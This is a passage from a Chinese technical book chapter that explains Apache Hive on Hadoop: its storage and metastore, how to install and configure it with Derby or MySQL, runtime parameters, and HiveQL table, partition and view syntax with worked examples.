UI）接口\nHive的JDBC接口\nHive的优化\n本章小结\nHive是Hadoop中的一个重要子项目，它利用的是MapReduce编程技术，实现了部分SQL语句，提供了类SQL的编程接口。Hive的出现极大地推进了Hadoop在数据仓库方面的发展。事实上，目前业界仍在对何谓大规模数据分析最佳方法进行着辩论。由于传统应用的惯性，业界保守派依然青睐于关系型数据库和SQL语言。而在学术界，互联网阵营则更集中于支持MapReduce的开发模式。本章我们将对基于Hive的数据仓库解决方案进行介绍。\n11.1 Hive简介\nHive是一个基于Hadoop文件系统之上的数据仓库架构。它为数据仓库的管理提供了许多功能：数据ETL（抽取、转换和加载）工具、数据存储管理和大型数据集的查询和分析能力。同时Hive定义了类SQL的语言—Hive QL。Hive QL允许用户进行和SQL相似的操作，还允许开发人员方便地使用Mapper和Reducer操作，这对MapReduce框架是一个强有力的支持。\n由于Hadoop是批量处理系统，任务是高延迟性的，在任务提交和处理过程中会消耗一些时间成本。同样，即使Hive处理的数据集非常小（比如几百MB），在执行时也会出现延迟现象。这样，Hive的性能就不可能很好地和传统的Oracle数据库进行比较了。Hive不提供数据排序和查询cache功能，不提供在线事务处理，也不提供实时的查询和记录级的更新，但Hive能更好地处理不变的大规模数据集（例如网络日志）上的批量任务。所以，Hive最大的价值是可扩展性（基于Hadoop平台，可以自动适应机器数目和数据量的动态变化）、可延展性（结合MapReduce和用户定义的函数库）、良好的容错性和低约束的数据输入格式。\nHive本身建立在Hadoop的体系架构上，提供了一个SQL的解析过程，并从外部接口中获取命令，以对用户指令进行解析。Hive可将外部命令解析成一个Map-Reduce可执行计划，并按照该计划生成MapReduce任务后交给Hadoop集群进行处理，Hive的体系结构如图11-1所示。\n 11.1.1 Hive的数据存储\nHive的存储是建立在Hadoop文件系统之上的。Hive本身没有专门的数据存储格式，也不能为数据建立索引，因此用户可以非常自由地组织Hive中的表，只需要在创建表的时候告诉Hive数据中的列分隔符和行分隔符就可以解析数据了。\nHive中主要包含四类数据模型：表（Table）、外部表（External Table）、分区（Partition）和桶（Bucket）。\nHive中的表和数据库中的表在概念上是类似的，在Hive中每个表都有一个对应的存储目录。例如，一个表htable在HDFS中的路径为/datawarehouse/htable，其中，/datawarehouse是在hive-site.xml配置文件中由${hive.metastore.warehouse.dir}指定的数据仓库的目录，所有的表数据（除了外部表）都保存在这个目录中。\nHive中的每个分区都对应数据库中相应分区列的一个索引，但是其分区的组织方式和传统关系型数据库不同。在Hive中，表中的一个分区对应表下的一个目录，所有分区的数据都存储在对应的目录中。例如，htable表中包含的ds和city两个分区，分别对应两个目录：对应ds=20100301，city=Beijing的HDFS子目录为/datawarehouse/htable/ds=20100301/city=Beijing；对应ds=20100301，city=Shanghai的HDFS子目录为/datawarehouse/htable/ds=20100301/city=Shanghai。\n图 11-1 Hive的体系结构\n桶在对指定列进行哈希（Hash）计算时，会根据哈希值切分数据，使每个桶对应一个文件。例如，将属性列user列分散到32个桶中，先要对user列的值进行hash计算，对应哈希值为0的桶写入HDFS的目录为/datawarehouse/htable/ds=20100301/city=Beijing/part-00000；对应哈希值为10的HDFS目录为/datawarehouse/htable/ds=20100301/city=Beijing/part-00010，依此类推。\n外部表指向已经在HDFS中存在的数据，也可以创建分区。它和表在元数据的组织上是相同的，而实际数据的存储则存在较大差异，主要表现在以下两点上。\n1）创建表的操作包含两个步骤：表创建过程和数据加载步骤（这两个过程可以在同一语句中完成）。在数据加载过程中，实际数据会移动到数据仓库目录中，之后的数据访问将会直接在数据仓库目录中完成。在删除表时，表中的数据和元数据将会被同时删除。\n2）外部表的创建只有一个步骤，加载数据和创建表同时完成，实际数据存储在创建语句LOCATION指定的HDFS路径中，并不会移动到数据仓库目录中。如果删除一个外部表，仅删除元数据，表中的数据不会被删除。\n11.1.2 Hive的元数据存储\n由于Hive的元数据可能要面临不断地更新、修改和读取操作，所以它显然不适合使用Hadoop文件系统进行存储。目前Hive将元数据存储在RDBMS中，比如存储在MySQL、Derby中。Hive有三种模式可以连接到Derby数据库：\n1）Single User Mode，利用此模式连接到一个In-memory（内存）数据库Derby，一般用于单元测试；\n2）Multi User Mode，通过网络连接到一个数据库中，是最常使用的模式；\n3）Remote Server Mode，用于非Java客户端访问元数据库，在服务器端启动一个MetaStoreServer，在客户端利用Thrift协议通过MetaStoreServer访问元数据库。\n关于Hive元数据的使用配置，我们将在11.5节“Hive的JDBC接口”中进行详细介绍。\n11.2 Hive的基本操作\n本节中我们将介绍Hive的基本操作，包括Hive在集群上的安装配置及Hive的Web UI的使用。\n 11.2.1 在集群上安装Hive\n从图11-1中可以看出，Hive可以理解为在Hadoop和HDFS之上为用户封装一层便于用户使用的接口，该接口有丰富的样式，包括命令终端、Web UI及JDBC/ODBC等。因此Hive的安装需要依赖Hadoop。下面我们具体介绍如何下载、安装和配置Hive。\n（1）先决条件\n要求必须已经安装完成Hadoop，当前最新版本为1.0.1。Hadoop的安装我们已经在前面章节中详细讲过（参见第2章“Hadoop的安装与配置”），这里不再赘述。\n（2）下载Hive安装包\n当前Hive的最新版本为0.8.1，读者可通过以下命令下载Hive安装包：\nwget http：//labs.renren.com/apache-mirror/hive/hive-0.8.1/hive-0.8.1.tar.gz\ntar xzf hive-0.8.1.tar.gz\ncd hive-0.8.1\n或者到Hive官方网站选择一个服务器镜像（http：//www.apache.org/dyn/closer.cgi/hive）及相应的版本进行下载。\n（3）配置系统环境变量/etc/profile或～/.bashrc\n该步骤只是为了便于大家操作，对于Hive的安装并不是必须的。\n如下所示，在PATH中加入Hive的bin及conf路径：\n#Config Hive\nexport HIVE_HOME=/home/hadoop/hadoop-1.0.1/hive-0.8.1\nexport PATH=$HIVE_HOME/bin：$HIVE_HOME/conf：$PATH\n在当前终端输入“source/etc/profile”使环境变量对当前终端有效。\n（4）修改Hive配置文档\n若不进行修改，Hive将使用默认的配置文档。一些高级用户希望对其进行配置。$HIVE_HOME/conf对应的是Hive的配置文档路径。该路径下的$HIVE_HOME/conf/hive-site.xml对应的是Hive工程的配置文档，默认该配置文档并不存在，需要我们手动创建。如下所示：\ncd$HIVE_HOME/conf\ncp hive-default.xml.template hive-site.xml\nhive-default. xml.template为系统提供给的配置文档模板，其中填写的是默认的配置参数。Hive的主要配置项如下：\nhive. metastore.warehouse.dir，该参数指定的是Hive的数据存储目录，指定的是HDFS上的位置，默认值为/user/hive/warehouse。\nhive. exec.scratchdir，该参数指定的是Hive的数据临时文件目录，默认位置为/tmp/hive-${user.name}。\n连接数据库配置。\n在11.1.2节中已经讲过，Hive需要将元数据存储在RDBMS中，这对于Hive的运行是非常重要的。在默认情况下，Hive已经为我们配置好了Derby数据库的连接参数，并且集成了Derby数据库及连接驱动jar包。下面为连接Derby数据库的关键配置：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n……\n＜property＞\n＜name＞javax.jdo.option.ConnectionURL＜/name＞\n＜value＞jdbc：derby：；databaseName=metastore_db；create=true＜/value＞\n＜description＞JDBC connect string for a JDBC metastore＜/description＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionDriverName＜/name＞\n＜value＞org.apache.derby.jdbc.EmbeddedDriver＜/value＞\n＜description＞Driver class name for a JDBC metastore＜/description＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionUserName＜/name＞\n＜value＞APP＜/value＞\n＜description＞username to use against metastore database＜/description＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionPassword＜/name＞\n＜value＞mine＜/value＞\n＜description＞password to use against metastore database＜/description＞\n＜/property＞\n……\n＜/configuration＞\n其中“javax.jdo.option.ConnectionURL”参数指定的是Hive连接数据库的连接字符串，“javax.jdo.option.ConnectionDriverName”参数指定的是驱动的类入口名称，“javax.jdo.option.ConnectionUserName”参数和“javax.jdo.option.ConnectionPassword”参数指定的是数据库的用户名和密码。使用Derby数据库需要确定在$HIVE_HOME/lib/目录下有Derby的数据库驱动。Hive0.8.1在默认情况下为我们提供了该驱动包：derby-10.4.2.0.jar。\n（5）运行Hive\n在上述配置完成后，直接运行$HIVE_HOME/bin/hive即可启动连接Hive，如下所示：\n./bin/hive\nLogging initialized using configuration in jar：file：/home/hadoop/hadoop-1.0.1/hive-\n0.8.1/lib/hive-common-0.8.1.jar！/hive-log4j.properties\nHive history file=/tmp/hadoop/hive_job_log_hadoop_201205151824_37118280.txt\nhive＞\n该方式使用的是命令行的方式（command line, cli）连接Hive进行操作。\n另外，Hive还提供了丰富的Wiki文档，读者可以参考以下链接中的内容。\nHive的Wiki页面：http：//wiki.apache.org/hadoop/Hive。\nHive入门指南：http：//wiki.apache.org/hadoop/Hive/GettingStarted。\nHQL查询语言指南：http：//wiki.apache.org/hadoop/Hive/HiveQL。\n演示文稿：http：//wiki.apache.org/hadoop/Hive/Presentations。\n由于Hive本身还处在不断的发展中，很多时候文档更新的速度还赶不上Hive本身的更新速度，因此，如果大家想了解Hive最新的发展动态或想与研究者进行交流，那么可以加入Hive的邮件列表，用户：hive-user@hadoop.apache.org，开发者：hive-dev@hadoop.apache.org。\n11.2.2 配置MySQL存储Hive元数据\nHive提供了多种RDBMS来存储Hive的元数据，包括Derby、MySQL等。相信有很多用户对MySQL还是比较熟悉的。因此，本节我们将Hive默认的元数据存储容器由Derby修改为MySQL。该过程包括两个步骤：Hive的配置及MySQL的配置。下面介绍具体操作。\n（1）Hive的配置\n首先需要对Hive的配置文档进行修改，即$HIVE_HOME/conf/hive-site.xml。与Derby类似，首先需要对连接字符串、驱动、数据库用户名及密码参数进行配置，如下所示：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n……\n＜configuration＞\n＜property＞\n＜name＞hive.metastore.local＜/name＞\n＜value＞true＜/value＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionURL＜/name＞\n＜value＞jdbc：mysql：//localhost：3306/hive?createDatabaseIfNotExist=true＜/value＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionDriverName＜/name＞\n＜value＞com.mysql.jdbc.Driver＜/value＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionUserName＜/name＞\n＜value＞hive＜/value＞\n＜/property＞\n＜property＞\n＜name＞javax.jdo.option.ConnectionPassword＜/name＞\n＜value＞hive＜/value＞\n＜/property＞\n……\n＜/configuration＞\n另外，需要下载MySQL的JDBC驱动包，这里使用的是“mysql-connector-java-5.1.11-bin.jar”，将其复制到$HIVE_HOME/lib目录下即可。\n（2）MySQL的配置\n首先需要安装MySQL，使用如下命令：\nsudo apt-get install mysql-server\n执行该命令将自动下载并安装MySQL\n[1]\n 。此外，还可以下载MySQL安装包进行安装，此部分内容不是本书的重点，大家可以自行查阅相关资料。\nMySQL安装完成后，只拥有root用户。下面我们创建Hive系统的用户权限，步骤如下所示：\n//1.创建用户\nCREATE USER'hive'@'%'IDENTIFIED BY'hive'；\n//2.赋予权限\nGRANT ALL PRIVILEGES ON*.*TO'hive'@'%'WITH GRANT OPTION；\n//3.强制写出\nflush privileges；\n此外，为了使远程用户可以访问MySQL，需要修改“/etc/mysql/my.cnf”文件，将bind-address一行注释掉，该参数绑定本地用户访问。\n如下所示：\n#Instead of skip-networking the default is now to listen only on\n#localhost which is more compatible and is not less secure.\n#bind-address=127.0.0.1\n配置完成后，使用如下命令重启MySQL数据库：\nsudo/etc/ini.d/mysql restart\n上述配置完成后便可以像之前一样运行Hive了。\n[1]\n 在不同版本的Linux中该命令有一定的区别，要视具体的Linux版本而定。\n11.2.3 配置Hive\n安装好Hive后，就可以进行简单的数据操作了。在实际应用中，不可避免地要进行参数的配置和调优，本节我们将对Hive参数的设置进行介绍。\n首先，在进行操作前要确保目录权限配置正确：将/tmp目录配置成所有用户都有write权限，表所对应目录的owner必须是Hive启动用户。\n其次，可以通过调整Hive的参数来调优HQL代码的执行效率或帮助管理员进行定位。参数设置可以通过配置文件、命令行参数或参数声明的方式进行。下面具体进行介绍。\n1.配置文件\nHive的配置文件包括：\n用户自定义配置文件，即$HIVE_CONF_DIR/hive-site.xml；\n默认配置文件，即$HIVE_CONF_DIR/hive-default.xml。\n要注意的是，用户自定义配置会覆盖默认配置。另外，Hive也会读入Hadoop的配置，因为Hive是作为Hadoop的客户端启动的。\n2.运行时配置\n当运行Hive QL时可以进行参数声明。Hive的查询可通过执行MapReduce任务来实现，而有些查询可以通过控制Hadoop的配置参数来实现。在命令行接口（CLI）中可以通过SET命令来设置参数，例如：\nhive＞SET mapred.job.tracker=myhost.mycompany.com：50030\nhive＞set mapred.reduce.tasks=100；\nhive＞SET-v\n通过SET-v命令可以查看当前设定的所有信息。需要指出的是，通过CLI的SET命令设定的作用域是Session级的，只对本次操作有作用。此外，SerDe参数必须写在建表语句中。例如：\ncreate table if not exists t_Student（\nname string\n）\nROW FORMAT SERDE\n'org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe'\nWITH SERDEPROPERTIES（\n'field.delim'='\\t'，\n'escape.delim'='\\\\'，\n'serialization.null.format'=''\n）STORED AS TEXTFILE；\n类似serialization.null.format这样的参数，必须和某个表或分区关联。在DDL外部声明不起作用。\n3.设置本地模式\n对于大多数查询Query, Hive编译器会产生MapReduce任务，这些任务会被提交到MapReduce集群，这些集群可以用参数mapred.job.tracker指明。\n需要说明的是，Hadoop支持在本地或集群中运行Hive提交的查询，这对小数据集查询的运行是非常有用的，可以避免将任务分布到大型集群中而降低效率。在将MapReduce任务提交给Hadoop之后，HDFS中的文件访问对用户来说是透明的。相反，如果是大数据集的查询，那么需要设定将Hive的查询交给集群运行，这样就可以利用集群的并行性来提高效率。我们可以通过以下参数设定Hive查询在本地运行：\nhive＞SET mapred.job.tracker=local；\n最新的Hive版本都支持在本地自动运行MapReduce任务：\nhive＞SET hive.exec.mode.local.auto=false；\n可以看到该属性默认是关闭的。如果设定为开启（enable），Hive就会先分析查询中的每个MapReduce任务，当任务的输入数据规模低于Hive.exec.mode.local.auto.inputb-ytes.max属性值（默认为128MB），并且全部的Map数少于hive.exec.mode.local.auto.tasks.max的属性值（默认为4），全部的Reduce任务数为1或0时，任务会自动选择在本地模式下运行。\n4.Error Logs错误日志\nHive使用log4j记录日志。在默认情况下，日志文件的记录等级是WARN（即存储紧急程度为WARN及以上的错误信息），存储在/tmp/{user.n-ame}/hive.log文件夹下。如果用户想要在终端看到日志内容，则可以通过设置以下参数达到目的：\nbin/hive-hiveconf hive.root.logger=INFO, console\n同样，用户也可以改变日志记录等级：\nbin/hive-hiveconf hive.root.logger=INFO, DRFA\nHive在Hadoop执行阶段的日志由Hadoop配置文件配置。通常来说，Hadoop会对每个Map和Reduce任务对应的执行节点生成一个日志文件。这个日志文件可以通过JobTracker的Web UI获得。错误日志对调试错误非常有用，当运行过程中遇到Bug时可以向hive-d-ev@hadoop.apache.org提交。\n11.3 Hive QL详解\n 11.3.1 数据定义（DDL）操作\n1.创建表\n下面是在Hive中创建表（CREATE）的语法：\nCREATE[EXTERNAL]TABLE[IF NOT EXISTS]table_name\n[（col_name data_type[COMMENT col_comment]，……）]\n[COMMENT table_comment]\n[PARTITIONED BY（col_name data_type[col_comment]，col_name data_type[COMMENT\ncol_comment]，……）]\n[CLUSTERED BY（col_name, col_name，……）[SORTED BY（col_name，……）]INTO num_\nbuckets BUCKETS]\n[ROW FORMAT row_format]\n[STORED AS file_format]\n[LOCATION hdfs_path]\n[AS select_statement]（Note：this feature is only available on the latest trunk\nor versions higher than 0.4.0.）\nCREATE[EXTERNAL]TABLE[IF NOT EXISTS]table_name\nLIKE existing_table_name\n[LOCATION hdfs_path]\ndata_type\n：primitive_type\n|array_type\n|map_type\nprimitive_type\n：TINYINT\n|SMALLINT\n|INT\n|BIGINT\n|BOOLEAN\n|FLOAT\n|DOUBLE\n|STRING\narray_type\n：ARRAY＜primitive_type＞\nmap_type\n：MAP＜primitive_type, primitive_type＞\nrow_format\n：DELIMITED[FIELDS TERMINATED BY char][COLLECTION ITEMS TERMINATED BY char]\n[MAP KEYS TERMINATED BY char]\n|SERDE serde_name[WITH SERDEPROPERTIES property_name=property_value, property_\nname=property_value，……]\nfile_format：\n：SEQUENCEFILE\n|TEXTFILE\n|INPUTFORMAT input_format_classname OUTPUTFORMAT output_format_classname\n下面进行相关的说明。\nCREATE TABLE，创建一个指定名字的表。如果相同名字的表已经存在，则抛出异常，用户可以用IF NOT EXIST选项来忽略这个异常。\nEXTERNAL关键字，创建一个外部表，在创建表的同时指定一个指向实际数据的路径（LOCATION）。在Hive中创建内部表时，会将数据移动到数据仓库指向的路径；在创建外部表时，仅记录数据所在的路径，不对数据的位置做任何改变。当删除表时，内部表的元数据和数据会一起被删除，而在删除外部表时只删除元数据，不删除数据。\nLIKE格式修饰的CREATE TABLE命令允许复制一个已存在表的定义，而不复制它的数据内容。\n这里还需要说明的是，用户可以使用自定制的SerDe或自带的SerDe创建表。SerDe是Serialize/Deserilize的简称，用于序列化和反序列化。在Hive中，序列化和反序列化即在key/value和hive table的每个列值之间的转化。如果没有指定ROW FORMAT或ROW FORMAT DELIMITE-D，创建表就使用自带的SerDe。如果使用自带的SerDe，则必须指定字段列表。关于字段类型，可参考用户指南的类型部分。定制的SerDe字段列表可以是指定的，但是Hive将通过查询SerDe决定实际的字段列表。\n如果需要将数据存储为纯文本文件，那么要使用STORED AS TEXTFILE。如果数据需要压缩，则要使用STORED AS SEQUENCEFILE。INPUTFORMAT和OUTPUTFORMAT定义一个与InputFormat和OutputFormat类相对应的名字作为一个字符串，例如，将“org.apache.hadoop.hive.contrib.fileformat.base64”定义为“Base64TextInputFormat”。\nHive还支持建立带有分区（Partition）的表。有分区的表可以在创建的时候使用PARTITIONED BY语句。一个表可以拥有一个或多个分区，每个分区单独存在于一个目录下。而且，表和分区都可以对某个列进行CLUSTERED BY操作，将若干个列放入一个桶（Bucket）中。也可以利用SORT BY列来存储数据，以提高查询性能。\n表名和列名不区分大小写，但SerDe和属性名是区分大小写的。表和列的注释分别是以单引号表示的字符串。\n下面通过一组例子来对CREATE命令进行介绍，以加深用户的理解。\n例1：创建普通表\n下面代码将创建page_view表，该表包括viewTime、userid、page_url、referrer_url和ip列。\nCREATE TABLE page_view（viewTime INT, userid BIGINT，\npage_url STRING, referrer_url STRING，\nip STRING COMMENT'IP Address of the User'）\nCOMMENT'This is the page view table'；\n例2：添加表分区\n下面代码将创建page_view表，该表所包含字段与例1中page_view表相同。此外，通过Partition语句为该表建立分区，并用制表符来区分同一行中的不同字段。\nCREATE TABLE page_view（viewTime INT, userid BIGINT，\npage_url STRING, referrer_url STRING，\nip STRING COMMENT'IP Address of the User'）\nCOMMENT'This is the page view table'\nPARTITIONED BY（dt STRING, country STRING）\nROW FORMAT DELIMITED\nFIELDS TERMINATED BY'\\001'\nSTORED AS SEQUENCEFILE；\n例3：添加聚类存储\n下面代码将创建page_view表，该表所包含字段与例1中page_view表相同。在page_view表分区的基础上增加了聚类存储：将列按照userid进行分区并划分到不同的桶中，按照viewTime值的大小进行排序存储。这样的组织结构允许用户通过userid属性高效地对集群列进行采样。\nCREATE TABLE page_view（viewTime INT, userid BIGINT，\npage_url STRING, referrer_url STRING，\nip STRING COMMENT'IP Address of the User'）\nCOMMENT'This is the page view table'\nPARTITIONED BY（dt STRING, country STRING）\nCLUSTERED BY（userid）SORTED BY（viewTime）INTO 32 BUCKETS\nROW FORMAT DELIMITED\nFIELDS TERMINATED BY'\\001'\nCOLLECTION ITEMS TERMINATED BY'\\002'\nMAP KEYS TERMINATED BY'\\003'\nSTORED AS SEQUENCEFILE；\n例4：指定存储路径\n到目前为止，在所有例子中，数据都默认存储在HDFS的＜hive.metastore.warehouse.dir＞/＜table＞目录中，它在Hive配置的文件hive-site.xml中设定。我们可以通过Location为表指定新的存储位置，如下所示：\nCREATE EXTERNAL TABLE page_view（viewTime INT, userid BIGINT，\npage_url STRING, referrer_url STRING，\nip STRING COMMENT'IP Address of the User'，\ncountry STRING COMMENT'country of origination'）\nCOMMENT'This is the staging page view table'\nROW FORMAT DELIMITED FIELDS TERMINATED BY'\\054'\nSTORED AS TEXTFILE\nLOCATION'＜hdfs_location＞'；\n2.修改表语句\nALTER TABLE语句用于改变一个已经存在的表的结构，比如增加列或分区，改变SerDe、添加表和SerDe的属性或重命名表。\n（1）重命名表\nALTER TABLE table_name RENAME TO new_table_name\n这个命令可以让用户为表更名。数据所在的位置和分区名并不改变。换而言之，旧的表名并未“释放”，对旧表的更改会改变新表的数据。\n（2）改变列名字/类型/位置/注释\nALTER TABLE table_name CHANGE[COLUMN]\ncol_old_name col_new_name column_type\n[COMMENT col_comment]\n[FIRST|AFTER column_name]\n这个命令允许用户修改列的名称、数据类型、注释或位置，例如：\nCREATE TABLE test_change（a int, b int, c int）；\nALTER TABLE test_change CHANGE a a1 INT；//将a列的名字改为a1\nALTER TABLE test_change CHANGE a a1 STRING AFTER b；\n//将a列的名字改为a1，a列的数据类型改为string，并将它放置在列b之后\n修改后，新的表结构为：b int, a1 string, c int。\nALTER TABLE test_change CHANGE b b1 INT FIRST；\n//会将b列的名字修改为b1，并将它放在第一列\n修改后，新表的结构为：b1 int, a string, c int。\n注意 列的改变只会修改Hive的元数据，而不会改变实际数据。用户应该确保元数据定义和实际数据结构的一致性。\n（3）增加/更新列\nALTER TABLE table_name ADD|REPLACE\nCOLUMNS（col_name data_type[COMMENT col_comment]，……）\nADD COLUMNS，允许用户在当前列的末尾、分区列之前增加新的列。REPLACE COLUMNS，删除当前的列，加入新的列。只有在使用native的SerDE（DynamicSerDe或MetadataTypeColumnsetSerDe）时才可以这么做。\n（4）增加表属性\nALTER TABLE table_name SET TBLPROPERTIES table_properties\ntable_properties：\n：（property_name=property_value, property_name=property_value，……）\n用户可以用这个命令向表中增加元数据，目前last_modified_user、last_modified_time属性都是由Hive自动管理的。用户可以向列表中增加自己的属性，可以使用DESCRIBE EXTENDED TABLE来获得这些信息。\n（5）增加SerDe属性\nALTER TABLE table_name\nSET SERDE serde_class_name\n[WITH SERDEPROPERTIES serde_properties]\nALTER TABLE table_name\nSET SERDEPROPERTIES serde_properties\nserde_properties：\n：（property_name=property_value，\nproperty_name=property_value，……）\n这个命令允许用户向SerDe对象增加用户定义的元数据。Hive为了序列化和反序列化数据，将会初始化SerDe属性，并将属性传给表的SerDe。这样，用户可以为自定义的SerDe存储属性。\n（6）改变表文件格式和组织\nALTER TABLE table_name SET FILEFORMAT file_format\nALTER TABLE table_name CLUSTERED BY（col_name, col_name，……）\n[SORTED BY（col_name，……）]INTO num_buckets BUCKETS\n这个命令修改了表的物理存储属性。\n注意 这些命令只能修改Hive的元数据，不能重组或格式化现有的数据。用户应该确定实际数据的分布符合元数据的定义。\n3.表分区操作语句\nHive在进行数据查询的时候一般会对整个表进行扫描，当表很大时将会消耗很多时间。有时候只需要对表中比较关心的一部分数据进行扫描，因此Hive引入了分区（Partition）的概念。\nHive表分区不同于一般分布式系统中常见的范围分区、哈希分区、一致性分区等概念。Hive的分区相对比较简单，是在Hive的表结构下根据分区的字段设置将数据按目录进行存放。相当于简单的索引功能。\nHive表分区需要在表创建的时候指定模式才能使用。它的字段指定的是虚拟的列，在实际的表中并不存在。在Hive表分区的模式下可以指定多级的结构，相当于对目录进行了嵌套。表模式在创建完成之后使用之前还需要通过ALTER TABLE语句添加具体的分区目录才能使用。\nHive表分区的命令主要包括创建分区、增加分区和删除分区。其中创建分区已经在CREATE语句中进行介绍，下面介绍一下为Hive表增加分区和删除分区命令。\n（1）增加分区\nALTER TABLE table_name ADD partition_spec[LOCATION'location1']partition_spec[\nLOCATION'location2']……\npartition_spec：\n：PARTITION（partition_col=partition_col_value, partition_col=partiton_col_\nvalue，……）\n用户可以用ALTER TABLE ADD PARTITION来对表增加分区。当分区名是字符串时加引号，例如：\nALTER TABLE page_view ADD\nPARTITION（dt='2010-08-08'，country='us'）\nlocation'/path/to/us/part080808'\nPARTITION（dt='2010-08-09'，country='us'）\nlocation'/path/to/us/part080809'；\n（2）删除分区\nALTER TABLE table_name DROP\npartition_spec, partition_spec，……\n用户可以用ALTER TABLE DROP PARTITION来删除分区，分区的元数据和数据将被一并删除，例如：\nALTER TABLE page_view\nDROP PARTITION（dt='2010-08-08'，country='us'）；\n下面我们通过一组例子对分区命令及相关知识进行讲解。\n假设我们有一组电影评分数据\n[1]\n ，该数据包含以下字段：用户ID、电影ID、电影评分、影片放映城市、影片观看时间。首先，我们使用Hive命令行创建电影评分表，如代码清单11-1所示。\n代码清单11-1 创建电影评分表u1_data\ncreate table u1_data（\nuserid int，\nmovieid int，\nrating int，\ncity string，\nviewTime string）\nrow format delimited\nfields terminated by'\\t'\nstored as textfile；\n该表为普通用户表，字段之间通过制表符“\\t”进行分割。通过Hadoop命令可以查看该表的目录结构如下所示：\nhadoop fs-ls/user/hive/warehouse/u1_data；\nFound 1 items\n-rw-r--r--1 hadoop supergroup 2609206 2012-05-17 01：27/user/hive/warehouse/\nu1_data/u.data.new\n可以看到u1_data标下并没有分区。\n下面我们创建带有一个分区的用户观影数据表，如代码清单11-2所示。\n代码清单11-2 创建电影评分表u2_data：\ncreate table u2_data（\nuserid int，\nmovieid int，\nrating int，\ncity string，\nviewTime string）\nPARTITIONED BY（dt string）\nrow format delimited\nfields terminated by'\\t'\nstored as textfile；\n在该表中指定了单个表分区模式，即“dt string”，在表刚刚创建的时候我们可以查看该表的目录结构，发现其并没有通过dt对表结构进行分区，如下所示：\nhadoop fs-ls/user/hive/warehouse/u2_data；\nFound 1 items\ndrwxr-xr-x-hadoop supergroup 0 2012-05-17 01：33/user/hive/warehouse/u2_data/\n下面我们使用该模式对表指定具体分区，如下所示：\nalter table u2_data add partition（dt='20110801'）；\n此时，无论是否加载数据，该表根目录下将存在dt=20110801分区，如下所示：\nhadoop fs-ls/user/hive/warehouse/u2_data；\nFound 1 items\ndrwxr-xr-x-hadoop supergroup 0 2012-05-17 01：33/user/hive/warehouse/u2_data/dt=20110801\n这里有两点需要注意：\n1）当没有声明表模式的时候不能为表指定具体的分区。若为表u2_data指定city分区，将提示以下错误：\nhive＞alter table u2_data add partition（dt='20110901'，city='北京'）；\nFAILED：Error in metadata：table is partitioned but partition spec is not specified\nor does not fully match table partitioning：{dt=20110901，city=北京}\nFAILED：Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask\n2）分区名不能与表属性名重复，如下所示：\ncreate table u2_data（\nuserid int，\nmovieid int，\nrating int，\ncity string，\nviewTime string）\nPARTITIONED BY（city string）\nrow format delimited\nfields terminated by'\\t'\nstored as textfile；\nFAILED：Error in semantic analysis：Column repeated in partitioning columns\n另外，还可以为表创建多个分区，相当于多级索引的功能。以电影评分表为例，我们创建dt string和city string两级分区，如代码清单11-3所示。\n代码清单11-3 创建电影评分表u3_data：\ncreate table u3_data（\nuserid int，\nmovieid int，\nrating int）\nPARTITIONED BY（dt string, city string）\nrow format delimited\nfields terminated by'\\t'\nstored as textfile；\n下面，我们使用模式指定一个具体的分区并查看HDFS目录，如下所示：\nalter table u3_data add partition（dt='20110801'，city='北京'）；\nhadoop fs-ls/user/hive/warehouse/u3_data/dt=20110801；\nFound 1 items\ndrwxr-xr-x-hadoop supergroup 0 2012-05-17 19：27/user/hive/warehouse/\nu3_data/dt=20110801/city=北京\n对于数据加载操作我们将在11.3.2节数据操作（DML）中进行详细介绍，这里不再赘述。\n4.删除表\nDROP TABLE table_name\nDROP TABLE用于删除表的元数据和数据。如果配置了Trash，那么会将数据删除到Trash/Current目录，元数据将完全丢失。当删除EXTERNAL定义的表时，表中的数据不会从文件系统中删除。\n5.创建/删除视图\n目前，只有Hive 0.6之后的版本才支持视图。\n（1）创建表视图\nCREATE VIEW[IF NOT EXISTS]view_name[（column_name[COMMENT column_comment]，……）]\n[COMMENT view_comment]\nAS SELECT……\nCREATE VIEW，以指定的名称创建一个表视图。如果表或视图的名字已经存在，则报错，也可以使用IF NOT EXISTS忽略这个错误。\n如果没有提供表名，则视图列的名字将由定义的SELECT表达式自动生成；如果SELECT包括像x+y这样的无标量的表达式，则视图列的名字将生成_C0，_C1等形式。当重命名列时，可有选择地提供列注释。注释不会从底层列自动继承。如果定义SELECT表达式的视图是无效的，那么CREATE VIEW语句将失败。\n注意 没有关联存储的视图是纯粹的逻辑对象。目前在Hive中不支持物化视图。当一个查询引用一个视图时，可以评估视图的定义并为下一步查询提供记录集合。这是一种概念的描述，实际上，作为查询优化的一部分，Hive可以将视图的定义与查询的定义结合起来，例如从查询到视图使用的过滤器。\n在创建视图的同时确定视图的架构，随后再改变基本表（如添加一列）将不会在视图的架构中体现。如果基本表被删除或以不兼容的方式被修改，则该无效视图的查询失败。\n视图是只读的，不能用于LOAD/INSERT/ALTER的目标。\n视图可能包含ORDER BY和LIMIT子句。如果一个引用了视图的查询也包含了这些子句，那么在执行这些子句时首先要查看视图语句，然后返回结果按视图中语句执行。例如，一个视图v指定返回记录LIMIT为5，执行查询语句：select*from v LIMIT 10，这个查询最多返回5行记录。\n以下是创建视图的例子：\nCREATE VIEW onion_referrers（url COMMENT'URL of Referring page'）\nCOMMENT'Referrers to The Onion website'\nAS\nSELECT DISTINCT referrer_url\nFROM page_view\nWHERE page_url='http：//www.theonion.com'；\n（2）删除表视图\nDROP VIEW view_name\nDROP VIEW，删除指定视图的元数据。在视图中使用DROP TABLE是错误的，例如：\nDROP VIEW onion_referrers；\n6.创建/删除函数\n（1）创建函数\nCREATE TEMPORARY FUNCTION function_name AS class_name\n该语句创建了一个由类名实现的函数。在Hive中可以持续使用该函数查询，也可以使用Hive类路径中的任何类。用户可以通过执行ADD 